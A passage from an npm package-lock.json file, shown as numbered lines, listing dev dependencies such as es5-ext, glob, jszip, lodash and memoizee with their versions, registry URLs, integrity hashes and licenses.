| "which": "^2.0.1" 408 | }, 409 | "engines": { 410 | "node": ">= 8" 411 | } 412 | }, 413 | "node_modules/d": { 414 | "version": "1.0.2", 415 | "resolved": "https://registry.npmjs.org/d/-/d-1.0.2.tgz", 416 | "integrity": "sha512-MOqHvMWF9/9MX6nza0KgvFH4HpMU0EF5uUDXqX/BtxtU8NfB0QzRtJ8Oe/6SuS4kbhyzVJwjd97EA4PKrzJ8bw==", 417 | "dev": true, 418 | "license": "ISC", 419 | "dependencies": { 420 | "es5-ext": "^0.10.64", 421 | "type": "^2.7.2" 422 | }, 423 | "engines": { 424 | "node": ">=0.12" 425 | } 426 | }, 427 | "node_modules/decamelize": { 428 | "version": "1.2.0", 429 | "resolved": "https://registry.npmjs.org/decamelize/-/decamelize-1.2.0.tgz", 430 | "integrity": "sha512-z2S+W9X73hAUUki+N+9Za2lBlun89zigOyGrsax+KUQ6wKW4ZoWpEYBkGhQjwAjjDCkWxhY0VKEhk8wzY7F5cA==", 431 | "dev": true, 432 | "license": "MIT", 433 | "engines": { 434 | "node": ">=0.10.0" 435 | } 436 | }, 437 | "node_modules/deferred": { 438 | "version": "0.7.11", 439 | "resolved": "https://registry.npmjs.org/deferred/-/deferred-0.7.11.tgz", 440 | "integrity": "sha512-8eluCl/Blx4YOGwMapBvXRKxHXhA8ejDXYzEaK8+/gtcm8hRMhSLmXSqDmNUKNc/C8HNSmuyyp/hflhqDAvK2A==", 441 | "dev": true, 442 | "license": "ISC", 443 | "dependencies": { 444 | "d": "^1.0.1", 445 | "es5-ext": "^0.10.50", 446 | "event-emitter": "^0.3.5", 447 | "next-tick": "^1.0.0", 448 | "timers-ext": "^0.1.7" 449 | } 450 | }, 451 | "node_modules/delayed-stream": { 452 | "version": "1.0.0", 453 | "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", 454 | "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==", 455 | "dev": true, 456 | "license": "MIT", 457 | "peer": true, 458 | "engines": { 459 | "node": ">=0.4.0" 460 | } 461 | }, 462 | "node_modules/duration": { 463 | "version": "0.2.2", 464 | "resolved": "https://registry.npmjs.org/duration/-/duration-0.2.2.tgz", 465 | "integrity": "sha512-06kgtea+bGreF5eKYgI/36A6pLXggY7oR4p1pq4SmdFBn1ReOL5D8RhG64VrqfTTKNucqqtBAwEj8aB88mcqrg==", 466 | "dev": true, 467 | "license": "ISC", 468 | "dependencies": { 469 | "d": "1", 470 | "es5-ext": "~0.10.46" 471 | } 472 | }, 473 | "node_modules/eastasianwidth": { 474 | "version": "0.2.0", 475 | "resolved": "https://registry.npmjs.org/eastasianwidth/-/eastasianwidth-0.2.0.tgz", 476 | "integrity": "sha512-I88TYZWc9XiYHRQ4/3c5rjjfgkjhLyW2luGIheGERbNQ6OY7yTybanSpDXZa8y7VUP9YmDcYa+eyq4ca7iLqWA==", 477 | "dev": true, 478 | "license": "MIT", 479 | "peer": true 480 | }, 481 | "node_modules/emoji-regex": { 482 | "version": "9.2.2", 483 | "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-9.2.2.tgz", 484 | "integrity": "sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg==", 485 | "dev": true, 486 | "license": "MIT", 487 | "peer": true 488 | }, 489 | "node_modules/es5-ext": { 490 | "version": "0.10.64", 491 | "resolved": "https://registry.npmjs.org/es5-ext/-/es5-ext-0.10.64.tgz", 492 | "integrity": "sha512-p2snDhiLaXe6dahss1LddxqEm+SkuDvV8dnIQG0MWjyHpcMNfXKPE+/Cc0y+PhxJX3A4xGNeFCj5oc0BUh6deg==", 493 | "dev": true, 494 | "hasInstallScript": true, 495 | "license": "ISC", 496 | "dependencies": { 497 | "es6-iterator": "^2.0.3", 498 | "es6-symbol": "^3.1.3", 499 | "esniff": "^2.0.1", 500 | "next-tick": "^1.1.0" 501 | }, 502 | "engines": { 503 | "node": ">=0.10" 504 | } 505 | }, 506 | "node_modules/es6-iterator": { 507 | "version": "2.0.3", 508 | "resolved": "https://registry.npmjs.org/es6-iterator/-/es6-iterator-2.0.3.tgz", 509 | "integrity": "sha512-zw4SRzoUkd+cl+ZoE15A9o1oQd920Bb0iOJMQkQhl3jNc03YqVjAhG7scf9C5KWRU/R13Orf588uCC6525o02g==", 510 | "dev": true, 511 | "license": "MIT", 512 | "dependencies": { 513 | "d": "1", 514 | "es5-ext": "^0.10.35", 515 | "es6-symbol": "^3.1.1" 516 | } 517 | }, 518 | "node_modules/es6-symbol": { 519 | "version": "3.1.4", 520 | "resolved": "https://registry.npmjs.org/es6-symbol/-/es6-symbol-3.1.4.tgz", 521 | "integrity": "sha512-U9bFFjX8tFiATgtkJ1zg25+KviIXpgRvRHS8sau3GfhVzThRQrOeksPeT0BWW2MNZs1OEWJ1DPXOQMn0KKRkvg==", 522 | "dev": true, 523 | "license": "ISC", 524 | "dependencies": { 525 | "d": "^1.0.2", 526 | "ext": "^1.7.0" 527 | }, 528 | "engines": { 529 | "node": ">=0.12" 530 | } 531 | }, 532 | "node_modules/es6-weak-map": { 533 | "version": "2.0.3", 534 | "resolved": "https://registry.npmjs.org/es6-weak-map/-/es6-weak-map-2.0.3.tgz", 535 | "integrity": "sha512-p5um32HOTO1kP+w7PRnB+5lQ43Z6muuMuIMffvDN8ZB4GcnjLBV6zGStpbASIMk4DCAvEaamhe2zhyCb/QXXsA==", 536 | "dev": true, 537 | "license": "ISC", 538 | "dependencies": { 539 | "d": "1", 540 | "es5-ext": "^0.10.46", 541 | "es6-iterator": "^2.0.3", 542 | "es6-symbol": "^3.1.1" 543 | } 544 | }, 545 | "node_modules/esniff": { 546 | "version": "2.0.1", 547 | "resolved": "https://registry.npmjs.org/esniff/-/esniff-2.0.1.tgz", 548 | "integrity": "sha512-kTUIGKQ/mDPFoJ0oVfcmyJn4iBDRptjNVIzwIFR7tqWXdVI9xfA2RMwY/gbSpJG3lkdWNEjLap/NqVHZiJsdfg==", 549 | "dev": true, 550 | "license": "ISC", 551 | "dependencies": { 552 | "d": "^1.0.1", 553 | "es5-ext": "^0.10.62", 554 | "event-emitter": "^0.3.5", 555 | "type": "^2.7.2" 556 | }, 557 | "engines": { 558 | "node": ">=0.10" 559 | } 560 | }, 561 | "node_modules/event-emitter": { 562 | "version": "0.3.5", 563 | "resolved": "https://registry.npmjs.org/event-emitter/-/event-emitter-0.3.5.tgz", 564 | "integrity": "sha512-D9rRn9y7kLPnJ+hMq7S/nhvoKwwvVJahBi2BPmx3bvbsEdK3W9ii8cBSGjP+72/LnM4n6fo3+dkCX5FeTQruXA==", 565 | "dev": true, 566 | "license": "MIT", 567 | "dependencies": { 568 | "d": "1", 569 | "es5-ext": "~0.10.14" 570 | } 571 | }, 572 | "node_modules/ext": { 573 | "version": "1.7.0", 574 | "resolved": "https://registry.npmjs.org/ext/-/ext-1.7.0.tgz", 575 | "integrity": "sha512-6hxeJYaL110a9b5TEJSj0gojyHQAmA2ch5Os+ySCiA1QGdS697XWY1pzsrSjqA9LDEEgdB/KypIlR59RcLuHYw==", 576 | "dev": true, 577 | "license": "ISC", 578 | "dependencies": { 579 | "type": "^2.7.2" 580 | } 581 | }, 582 | "node_modules/find-up": { 583 | "version": "4.1.0", 584 | "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz", 585 | "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==", 586 | "dev": true, 587 | "license": "MIT", 588 | "dependencies": { 589 | "locate-path": "^5.0.0", 590 | "path-exists": "^4.0.0" 591 | }, 592 | "engines": { 593 | "node": ">=8" 594 | } 595 | }, 596 | "node_modules/follow-redirects": { 597 | "version": "1.15.9", 598 | "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.9.tgz", 599 | "integrity": "sha512-gew4GsXizNgdoRyqmyfMHyAmXsZDk6mHkSxZFCzW9gwlbtOW44CDtYavM+y+72qD/Vq2l550kMF52DT8fOLJqQ==", 600 | "dev": true, 601 | "funding": [ 602 | { 603 | "type": "individual", 604 | "url": "https://github.com/sponsors/RubenVerborgh" 605 | } 606 | ], 607 | "license": "MIT", 608 | "peer": true, 609 | "engines": { 610 | "node": ">=4.0" 611 | }, 612 | "peerDependenciesMeta": { 613 | "debug": { 614 | "optional": true 615 | } 616 | } 617 | }, 618 | "node_modules/foreground-child": { 619 | "version": "3.3.0", 620 | "resolved": "https://registry.npmjs.org/foreground-child/-/foreground-child-3.3.0.tgz", 621 | "integrity": "sha512-Ld2g8rrAyMYFXBhEqMz8ZAHBi4J4uS1i/CxGMDnjyFWddMXLVcDp051DZfu+t7+ab7Wv6SMqpWmyFIj5UbfFvg==", 622 | "dev": true, 623 | "license": "ISC", 624 | "peer": true, 625 | "dependencies": { 626 | "cross-spawn": "^7.0.0", 627 | "signal-exit": "^4.0.1" 628 | }, 629 | "engines": { 630 | "node": ">=14" 631 | }, 632 | "funding": { 633 | "url": "https://github.com/sponsors/isaacs" 634 | } 635 | }, 636 | "node_modules/form-data": { 637 | "version": "4.0.1", 638 | "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.1.tgz", 639 | "integrity": "sha512-tzN8e4TX8+kkxGPK8D5u0FNmjPUjw3lwC9lSLxxoB/+GtsJG91CO8bSWy73APlgAZzZbXEYZJuxjkHH2w+Ezhw==", 640 | "dev": true, 641 | "license": "MIT", 642 | "peer": true, 643 | "dependencies": { 644 | "asynckit": "^0.4.0", 645 | "combined-stream": "^1.0.8", 646 | "mime-types": "^2.1.12" 647 | }, 648 | "engines": { 649 | "node": ">= 6" 650 | } 651 | }, 652 | "node_modules/fs-extra": { 653 | "version": "10.1.0", 654 | "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-10.1.0.tgz", 655 | "integrity": "sha512-oRXApq54ETRj4eMiFzGnHWGy+zo5raudjuxN0b8H7s/RU2oW0Wvsx9O0ACRN/kRq9E8Vu/ReskGB5o3ji+FzHQ==", 656 | "dev": true, 657 | "license": "MIT", 658 | "dependencies": { 659 | "graceful-fs": "^4.2.0", 660 | "jsonfile": "^6.0.1", 661 | "universalify": "^2.0.0" 662 | }, 663 | "engines": { 664 | "node": ">=12" 665 | } 666 | }, 667 | "node_modules/fs.realpath": { 668 | "version": "1.0.0", 669 | "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", 670 | "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==", 671 | "dev": true, 672 | "license": "ISC" 673 | }, 674 | "node_modules/fs2": { 675 | "version": "0.3.15", 676 | "resolved": "https://registry.npmjs.org/fs2/-/fs2-0.3.15.tgz", 677 | "integrity": "sha512-T684iG2bR/3g5byqXvYYnJyqkXA7MQdlJx5DvCe0BJ5CH9aMRRc4C11bl75D1MnypvERdJ7Cft5BFpU/eClCMw==", 678 | "dev": true, 679 | "license": "ISC", 680 | "dependencies": { 681 | "d": "^1.0.2", 682 | "deferred": "^0.7.11", 683 | "es5-ext": "^0.10.64", 684 | "event-emitter": "^0.3.5", 685 | "ext": "^1.7.0", 686 | "ignore": "^5.3.2", 687 | "memoizee": "^0.4.17", 688 | "type": "^2.7.3" 689 | }, 690 | "engines": { 691 | "node": ">=6" 692 | } 693 | }, 694 | "node_modules/get-caller-file": { 695 | "version": "2.0.5", 696 | "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz", 697 | "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==", 698 | "dev": true, 699 | "license": "ISC", 700 | "engines": { 701 | "node": "6.* || 8.* || >= 10.*" 702 | } 703 | }, 704 | "node_modules/glob": { 705 | "version": "10.4.5", 706 | "resolved": "https://registry.npmjs.org/glob/-/glob-10.4.5.tgz", 707 | "integrity": "sha512-7Bv8RF0k6xjo7d4A/PxYLbUCfb6c+Vpd2/mB2yRDlew7Jb5hEXiCD9ibfO7wpk8i4sevK6DFny9h7EYbM3/sHg==", 708 | "dev": true, 709 | "license": "ISC", 710 | "peer": true, 711 | "dependencies": { 712 | "foreground-child": "^3.1.0", 713 | "jackspeak": "^3.1.2", 714 | "minimatch": "^9.0.4", 715 | "minipass": "^7.1.2", 716 | "package-json-from-dist": "^1.0.0", 717 | "path-scurry": "^1.11.1" 718 | }, 719 | "bin": { 720 | "glob": "dist/esm/bin.mjs" 721 | }, 722 | "funding": { 723 | "url": "https://github.com/sponsors/isaacs" 724 | } 725 | }, 726 | "node_modules/glob-all": { 727 | "version": "3.3.1", 728 | "resolved": "https://registry.npmjs.org/glob-all/-/glob-all-3.3.1.tgz", 729 | "integrity": "sha512-Y+ESjdI7ZgMwfzanHZYQ87C59jOO0i+Hd+QYtVt9PhLi6d8wlOpzQnfBxWUlaTuAoR3TkybLqqbIoWveU4Ji7Q==", 730 | "dev": true, 731 | "license": "MIT", 732 | "dependencies": { 733 | "glob": "^7.2.3", 734 | "yargs": "^15.3.1" 735 | }, 736 | "bin": { 737 | "glob-all": "bin/glob-all" 738 | } 739 | }, 740 | "node_modules/glob-all/node_modules/brace-expansion": { 741 | "version": "1.1.11", 742 | "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz", 743 | "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==", 744 | "dev": true, 745 | "license": "MIT", 746 | "dependencies": { 747 | "balanced-match": "^1.0.0", 748 | "concat-map": "0.0.1" 749 | } 750 | }, 751 | "node_modules/glob-all/node_modules/glob": { 752 | "version": "7.2.3", 753 | "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", 754 | "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", 755 | "deprecated": "Glob versions prior to v9 are no longer supported", 756 | "dev": true, 757 | "license": "ISC", 758 | "dependencies": { 759 | "fs.realpath": "^1.0.0", 760 | "inflight": "^1.0.4", 761 | "inherits": "2", 762 | "minimatch": "^3.1.1", 763 | "once": "^1.3.0", 764 | "path-is-absolute": "^1.0.0" 765 | }, 766 | "engines": { 767 | "node": "*" 768 | }, 769 | "funding": { 770 | "url": "https://github.com/sponsors/isaacs" 771 | } 772 | }, 773 | "node_modules/glob-all/node_modules/minimatch": { 774 | "version": "3.1.2", 775 | "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", 776 | "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", 777 | "dev": true, 778 | "license": "ISC", 779 | "dependencies": { 780 | "brace-expansion": "^1.1.7" 781 | }, 782 | "engines": { 783 | "node": "*" 784 | } 785 | }, 786 | "node_modules/graceful-fs": { 787 | "version": "4.2.11", 788 | "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz", 789 | "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==", 790 | "dev": true, 791 | "license": "ISC" 792 | }, 793 | "node_modules/ignore": { 794 | "version": "5.3.2", 795 | "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.3.2.tgz", 796 | "integrity": "sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==", 797 | "dev": true, 798 | "license": "MIT", 799 | "engines": { 800 | "node": ">= 4" 801 | } 802 | }, 803 | "node_modules/immediate": { 804 | "version": "3.0.6", 805 | "resolved": "https://registry.npmjs.org/immediate/-/immediate-3.0.6.tgz", 806 | "integrity": "sha512-XXOFtyqDjNDAQxVfYxuF7g9Il/IbWmmlQg2MYKOH8ExIT1qg6xc4zyS3HaEEATgs1btfzxq15ciUiY7gjSXRGQ==", 807 | "dev": true, 808 | "license": "MIT" 809 | }, 810 | "node_modules/inflight": { 811 | "version": "1.0.6", 812 | "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", 813 | "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==", 814 | "deprecated": "This module is not supported, and leaks memory. Do not use it. Check out lru-cache if you want a good and tested way to coalesce async requests by a key value, which is much more comprehensive and powerful.", 815 | "dev": true, 816 | "license": "ISC", 817 | "dependencies": { 818 | "once": "^1.3.0", 819 | "wrappy": "1" 820 | } 821 | }, 822 | "node_modules/inherits": { 823 | "version": "2.0.4", 824 | "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", 825 | "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", 826 | "dev": true, 827 | "license": "ISC" 828 | }, 829 | "node_modules/is-docker": { 830 | "version": "2.2.1", 831 | "resolved": "https://registry.npmjs.org/is-docker/-/is-docker-2.2.1.tgz", 832 | "integrity": "sha512-F+i2BKsFrH66iaUFc0woD8sLy8getkwTwtOBjvs56Cx4CgJDeKQeqfz8wAYiSb8JOprWhHH5p77PbmYCvvUuXQ==", 833 | "dev": true, 834 | "license": "MIT", 835 | "bin": { 836 | "is-docker": "cli.js" 837 | }, 838 | "engines": { 839 | "node": ">=8" 840 | }, 841 | "funding": { 842 | "url": "https://github.com/sponsors/sindresorhus" 843 | } 844 | }, 845 | "node_modules/is-fullwidth-code-point": { 846 | "version": "3.0.0", 847 | "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", 848 | "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", 849 | "dev": true, 850 | "license": "MIT", 851 | "engines": { 852 | "node": ">=8" 853 | } 854 | }, 855 | "node_modules/is-plain-object": { 856 | "version": "2.0.4", 857 | "resolved": "https://registry.npmjs.org/is-plain-object/-/is-plain-object-2.0.4.tgz", 858 | "integrity": "sha512-h5PpgXkWitc38BBMYawTYMWJHFZJVnBquFE57xFpjB8pJFiF6gZ+bU+WyI/yqXiFR5mdLsgYNaPe8uao6Uv9Og==", 859 | "dev": true, 860 | "license": "MIT", 861 | "dependencies": { 862 | "isobject": "^3.0.1" 863 | }, 864 | "engines": { 865 | "node": ">=0.10.0" 866 | } 867 | }, 868 | "node_modules/is-primitive": { 869 | "version": "3.0.1", 870 | "resolved": "https://registry.npmjs.org/is-primitive/-/is-primitive-3.0.1.tgz", 871 | "integrity": "sha512-GljRxhWvlCNRfZyORiH77FwdFwGcMO620o37EOYC0ORWdq+WYNVqW0w2Juzew4M+L81l6/QS3t5gkkihyRqv9w==", 872 | "dev": true, 873 | "license": "MIT", 874 | "engines": { 875 | "node": ">=0.10.0" 876 | } 877 | }, 878 | "node_modules/is-promise": { 879 | "version": "2.2.2", 880 | "resolved": "https://registry.npmjs.org/is-promise/-/is-promise-2.2.2.tgz", 881 | "integrity": "sha512-+lP4/6lKUBfQjZ2pdxThZvLUAafmZb8OAxFb8XXtiQmS35INgr85hdOGoEs124ez1FCnZJt6jau/T+alh58QFQ==", 882 | "dev": true, 883 | "license": "MIT" 884 | }, 885 | "node_modules/is-stream": { 886 | "version": "1.1.0", 887 | "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-1.1.0.tgz", 888 | "integrity": "sha512-uQPm8kcs47jx38atAcWTVxyltQYoPT68y9aWYdV6yWXSyW8mzSat0TL6CiWdZeCdF3KrAvpVtnHbTv4RN+rqdQ==", 889 | "dev": true, 890 | "license": "MIT", 891 | "engines": { 892 | "node": ">=0.10.0" 893 | } 894 | }, 895 | "node_modules/is-wsl": { 896 | "version": "2.2.0", 897 | "resolved": "https://registry.npmjs.org/is-wsl/-/is-wsl-2.2.0.tgz", 898 | "integrity": "sha512-fKzAra0rGJUUBwGBgNkHZuToZcn+TtXHpeCgmkMJMMYx1sQDYaCSyjJBSCa2nH1DGm7s3n1oBnohoVTBaN7Lww==", 899 | "dev": true, 900 | "license": "MIT", 901 | "dependencies": { 902 | "is-docker": "^2.0.0" 903 | }, 904 | "engines": { 905 | "node": ">=8" 906 | } 907 | }, 908 | "node_modules/isarray": { 909 | "version": "1.0.0", 910 | "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", 911 | "integrity": "sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ==", 912 | "dev": true, 913 | "license": "MIT" 914 | }, 915 | "node_modules/isexe": { 916 | "version": "2.0.0", 917 | "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", 918 | "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==", 919 | "dev": true, 920 | "license": "ISC" 921 | }, 922 | "node_modules/isobject": { 923 | "version": "3.0.1", 924 | "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", 925 | "integrity": "sha512-WhB9zCku7EGTj/HQQRz5aUQEUeoQZH2bWcltRErOpymJ4boYE6wL9Tbr23krRPSZ+C5zqNSrSw+Cc7sZZ4b7vg==", 926 | "dev": true, 927 | "license": "MIT", 928 | "engines": { 929 | "node": ">=0.10.0" 930 | } 931 | }, 932 | "node_modules/jackspeak": { 933 | "version": "3.4.3", 934 | "resolved": "https://registry.npmjs.org/jackspeak/-/jackspeak-3.4.3.tgz", 935 | "integrity": "sha512-OGlZQpz2yfahA/Rd1Y8Cd9SIEsqvXkLVoSw/cgwhnhFMDbsQFeZYoJJ7bIZBS9BcamUW96asq/npPWugM+RQBw==", 936 | "dev": true, 937 | "license": "BlueOak-1.0.0", 938 | "peer": true, 939 | "dependencies": { 940 | "@isaacs/cliui": "^8.0.2" 941 | }, 942 | "funding": { 943 | "url": "https://github.com/sponsors/isaacs" 944 | }, 945 | "optionalDependencies": { 946 | "@pkgjs/parseargs": "^0.11.0" 947 | } 948 | }, 949 | "node_modules/jsonfile": { 950 | "version": "6.1.0", 951 | "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-6.1.0.tgz", 952 | "integrity": "sha512-5dgndWOriYSm5cnYaJNhalLNDKOqFwyDB/rr1E9ZsGciGvKPs8R2xYGCacuf3z6K1YKDz182fd+fY3cn3pMqXQ==", 953 | "dev": true, 954 | "license": "MIT", 955 | "dependencies": { 956 | "universalify": "^2.0.0" 957 | }, 958 | "optionalDependencies": { 959 | "graceful-fs": "^4.1.6" 960 | } 961 | }, 962 | "node_modules/jszip": { 963 | "version": "3.10.1", 964 | "resolved": "https://registry.npmjs.org/jszip/-/jszip-3.10.1.tgz", 965 | "integrity": "sha512-xXDvecyTpGLrqFrvkrUSoxxfJI5AH7U8zxxtVclpsUtMCq4JQ290LY8AW5c7Ggnr/Y/oK+bQMbqK2qmtk3pN4g==", 966 | "dev": true, 967 | "license": "(MIT OR GPL-3.0-or-later)", 968 | "dependencies": { 969 | "lie": "~3.3.0", 970 | "pako": "~1.0.2", 971 | "readable-stream": "~2.3.6", 972 | "setimmediate": "^1.0.5" 973 | } 974 | }, 975 | "node_modules/lie": { 976 | "version": "3.3.0", 977 | "resolved": "https://registry.npmjs.org/lie/-/lie-3.3.0.tgz", 978 | "integrity": "sha512-UaiMJzeWRlEujzAuw5LokY1L5ecNQYZKfmyZ9L7wDHb/p5etKaxXhohBcrw0EYby+G/NA52vRSN4N39dxHAIwQ==", 979 | "dev": true, 980 | "license": "MIT", 981 | "dependencies": { 982 | "immediate": "~3.0.5" 983 | } 984 | }, 985 | "node_modules/locate-path": { 986 | "version": "5.0.0", 987 | "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz", 988 | "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==", 989 | "dev": true, 990 | "license": "MIT", 991 | "dependencies": { 992 | "p-locate": "^4.1.0" 993 | }, 994 | "engines": { 995 | "node": ">=8" 996 | } 997 | }, 998 | "node_modules/lodash": { 999 | "version": "4.17.21", 1000 | "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz", 1001 | "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==", 1002 | "dev": true, 1003 | "license": "MIT" 1004 | }, 1005 | "node_modules/lodash.get": { 1006 | "version": "4.4.2", 1007 | "resolved": "https://registry.npmjs.org/lodash.get/-/lodash.get-4.4.2.tgz", 1008 | "integrity": "sha512-z+Uw/vLuy6gQe8cfaFWD7p0wVv8fJl3mbzXh33RS+0oW2wvUqiRXiQ69gLWSLpgB5/6sU+r6BlQR0MBILadqTQ==", 1009 | "dev": true, 1010 | "license": "MIT" 1011 | }, 1012 | "node_modules/lodash.uniqby": { 1013 | "version": "4.7.0", 1014 | "resolved": "https://registry.npmjs.org/lodash.uniqby/-/lodash.uniqby-4.7.0.tgz", 1015 | "integrity": "sha512-e/zcLx6CSbmaEgFHCA7BnoQKyCtKMxnuWrJygbwPs/AIn+IMKl66L8/s+wBUn5LRw2pZx3bUHibiV1b6aTWIww==", 1016 | "dev": true, 1017 | "license": "MIT" 1018 | }, 1019 | "node_modules/lodash.values": { 1020 | "version": "4.3.0", 1021 | "resolved": "https://registry.npmjs.org/lodash.values/-/lodash.values-4.3.0.tgz", 1022 | "integrity": "sha512-r0RwvdCv8id9TUblb/O7rYPwVy6lerCbcawrfdo9iC/1t1wsNMJknO79WNBgwkH0hIeJ08jmvvESbFpNb4jH0Q==", 1023 | "dev": true, 1024 | "license": "MIT" 1025 | }, 1026 | "node_modules/log": { 1027 | "version": "6.3.2", 1028 | "resolved": "https://registry.npmjs.org/log/-/log-6.3.2.tgz", 1029 | "integrity": "sha512-ek8NRg/OPvS9ISOJNWNAz5vZcpYacWNFDWNJjj5OXsc6YuKacfey6wF04cXz/tOJIVrZ2nGSkHpAY5qKtF6ISg==", 1030 | "dev": true, 1031 | "license": "ISC", 1032 | "dependencies": { 1033 | "d": "^1.0.2", 1034 | "duration": "^0.2.2", 1035 | "es5-ext": "^0.10.64", 1036 | "event-emitter": "^0.3.5", 1037 | "sprintf-kit": "^2.0.2", 1038 | "type": "^2.7.3", 1039 | "uni-global": "^1.0.0" 1040 | }, 1041 | "engines": { 1042 | "node": ">=0.12" 1043 | } 1044 | }, 1045 | "node_modules/lru-cache": { 1046 | "version": "10.4.3", 1047 | "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-10.4.3.tgz", 1048 | "integrity": "sha512-JNAzZcXrCt42VGLuYz0zfAzDfAvJWW6AfYlDBQyDV5DClI2m5sAmK+OIO7s59XfsRsWHp02jAJrRadPRGTt6SQ==", 1049 | "dev": true, 1050 | "license": "ISC", 1051 | "peer": true 1052 | }, 1053 | "node_modules/lru-queue": { 1054 | "version": "0.1.0", 1055 | "resolved": "https://registry.npmjs.org/lru-queue/-/lru-queue-0.1.0.tgz", 1056 | "integrity": "sha512-BpdYkt9EvGl8OfWHDQPISVpcl5xZthb+XPsbELj5AQXxIC8IriDZIQYjBJPEm5rS420sjZ0TLEzRcq5KdBhYrQ==", 1057 | "dev": true, 1058 | "license": "MIT", 1059 | "dependencies": { 1060 | "es5-ext": "~0.10.2" 1061 | } 1062 | }, 1063 | "node_modules/memoizee": { 1064 | "version": "0.4.17", 1065 | "resolved": "https://registry.npmjs.org/memoizee/-/memoizee-0.4.17.tgz", 1066 | "integrity": "sha512-DGqD7Hjpi/1or4F/aYAspXKNm5Yili0QDAFAY4QYvpqpgiY6+1jOfqpmByzjxbWd/T9mChbCArXAbDAsTm5oXA==", 1067 | "dev": true, 1068 | "license": "ISC", 1069 | "dependencies": { 1070 | "d": "^1.0.2", 1071 | "es5-ext": "^0.10.64", 1072 | "es6-weak-map": "^2.0.3", 1073 | "event-emitter": "^0.3.5", 1074 | "is-promise": "^2.2.2", 1075 | "lru-queue": "^0.1.0", 1076 | "next-tick": "^1.1.0", 1077 | "timers-ext": "^0.1.7" 1078 | }, 1079 | "engines": { 1080 | "node": ">=0.12" 1081 | } 1082 | }, 1083 | "node_modules/mime-db": { 1084 | "version": "1.52.0", 1085 | "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", 1086 | "integrity": 